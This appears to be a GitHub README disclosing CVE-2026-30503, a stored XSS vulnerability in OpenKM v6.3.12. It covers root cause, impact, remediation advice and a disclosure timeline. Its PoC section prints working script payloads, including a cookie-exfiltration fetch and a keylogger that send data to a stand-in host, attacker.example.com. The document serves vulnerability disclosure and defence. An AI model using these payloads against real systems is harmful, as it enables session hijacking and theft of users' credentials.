dharmstm/cve-2026-30503-openkm-6.3.12-stored-xssDetailed disclosure of CVE-2026-30503, a stored XSS vulnerability in OpenKM v6.3.12. Includes root cause analysis, PoC payloads, impact assessment, and remediation recommendations for security researchers and pentesters.
Discovered & Reported by Dharmendra Kumar — Security Researcher
Cybersecurity | Penetration Testing | Vulnerability Research | Responsible Disclosure
This repository documents the responsible disclosure of CVE-2026-30503, a Stored Cross-Site Scripting (XSS) vulnerability identified in OpenKM v6.3.12 — an open-source document management system widely used across enterprise environments.
The vulnerability allows an authenticated attacker to inject persistent malicious JavaScript into the application, which executes in the browser context of any user (including administrators) who subsequently views the affected content.
⚠️ Severity: High | Attack Vector: Network | Privileges Required: Low | User Interaction: Required
| Field | Details |
|---|---|
| CVE ID | CVE-2026-30503 |
| Product | OpenKM |
| Affected Version | v6.3.12 |
| Vulnerability Class | Stored Cross-Site Scripting (XSS) |
| CWE | CWE-79: Improper Neutralization of Input During Web Page Generation |
| CVSS Vector | CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N |
| Researcher | Dharmendra Kumar |
| Disclosure Type | Responsible / Coordinated |
OpenKM is a free and open-source document management system (DMS) that provides a web interface for managing, auditing, and distributing business documents. It is used by enterprises, government bodies, and educational institutions globally.
v6.3.12Multiple Stored Cross-Site Scripting (XSS) vulnerabilities were discovered in OpenKM v6.3.12. An attacker with low-privileged authenticated access can inject arbitrary JavaScript payloads into one or more input fields. These payloads are permanently stored in the application's backend and automatically executed whenever any user — including administrators — accesses the affected page or component.
Unlike Reflected XSS, which requires the victim to click a crafted link, Stored XSS payloads are embedded in the application itself, making them significantly more dangerous and persistent.
The vulnerability stems from three compounding weaknesses in the application's input handling pipeline:
User Input ──► [NO Validation] ──► Stored in DB ──► [NO Output Encoding] ──► Rendered in Browser ──► XSS Executed
| Weakness | Description |
|---|---|
| ❌ Missing Input Validation | Application does not restrict or sanitize special characters (<, >, ", ', ;) in user-supplied fields |
| ❌ Missing Output Encoding | Stored values are rendered directly into HTML without HTML-entity encoding |
| ❌ Unsafe DOM Rendering | User-supplied data is embedded in the DOM context without CSP or sanitization controls |
A successful exploitation of this vulnerability can lead to:
| Risk | Description |
|---|---|
| 🍪 Session Hijacking | Steal authenticated session tokens via document.cookie exfiltration |
| 👤 Account Takeover | Compromise victim accounts, including administrator accounts |
| 🔐 Credential Harvesting | Inject phishing forms to capture login credentials |
| 📤 Data Exfiltration | Silently extract sensitive documents or metadata from the DMS |
| ⚙️ Unauthorized Actions | Perform privileged operations on behalf of the victim (delete/modify documents) |
| 🎯 Admin Targeting | Payload executes in the admin panel when an administrator reviews content |
| 🔄 Worm Propagation | Self-replicating XSS payload can spread across users |
⚠️ Disclaimer: This PoC is shared strictly for educational and security research purposes under responsible disclosure principles. Do not use this against systems you do not own or have explicit written permission to test.
// Basic PoC — demonstrates script execution
<script>alert('CVE-2026-30503 - XSS by Dharmendra Kumar')</script>
// Session token exfiltration
<script>fetch('https://attacker.example.com/steal?c='+document.cookie)</script>
// Keylogger injection
<script>document.onkeypress=function(e){fetch('https://attacker.example.com/log?k='+e.key)}</script>
<script>alert(document.cookie)</script>| Recommendation | Implementation |
|---|---|
| ✅ Input Validation | Whitelist allowed characters; reject or strip HTML special characters on all user inputs |
| ✅ Output Encoding | Use context-aware HTML encoding (e.g., OWASP Java Encoder) before rendering data to HTML |
| ✅ Content Security Policy (CSP) | Implement a strict CSP header: Content-Security-Policy: script-src 'self' |
| ✅ HTTPOnly & Secure Cookies | Set HttpOnly and Secure flags on all session cookies to prevent JS access |
| ✅ Use Security Libraries | Integrate OWASP AntiSamy or DOMPurify for HTML sanitization |
| ✅ Security Code Review | Audit all render paths for unsanitized user-controlled data |
| ✅ Upgrade | Apply the latest vendor-supplied patch or upgrade to a patched version |
| Date | Event |
|---|---|
| 🔍 Discovery | Vulnerability identified during security assessment of OpenKM v6.3.12 |
| 📧 Vendor Notification | Initial disclosure report submitted to OpenKM security team |
| 🤝 Vendor Acknowledgment | OpenKM team acknowledged the report |
| 📝 CVE Assignment | CVE-2026-30503 assigned by CVE Program |
| 🌐 Public Disclosure | Coordinated public disclosure after remediation period |
This vulnerability was disclosed following responsible disclosure best practices, coordinating with the vendor and the CVE Program prior to public release.
Security Researcher | Penetration Tester | Bug Hunter
Dharmendra Kumar is an independent cybersecurity researcher specializing in web application security, penetration testing, and responsible vulnerability disclosure. With a focus on identifying real-world security flaws in widely-used software, his work contributes to improving the security posture of applications used globally.
Areas of Expertise:
Connect:
This repository is intended solely for educational and informational purposes. The vulnerability details and proof-of-concept payloads shared here are published in accordance with responsible disclosure principles. The author does not condone, encourage, or take responsibility for any unauthorized use of this information. Always obtain explicit written permission before conducting security testing on any system.
Special thanks to:
⭐ If this research was helpful, consider starring this repository.
© 2026 Dharmendra Kumar — All Rights Reserved
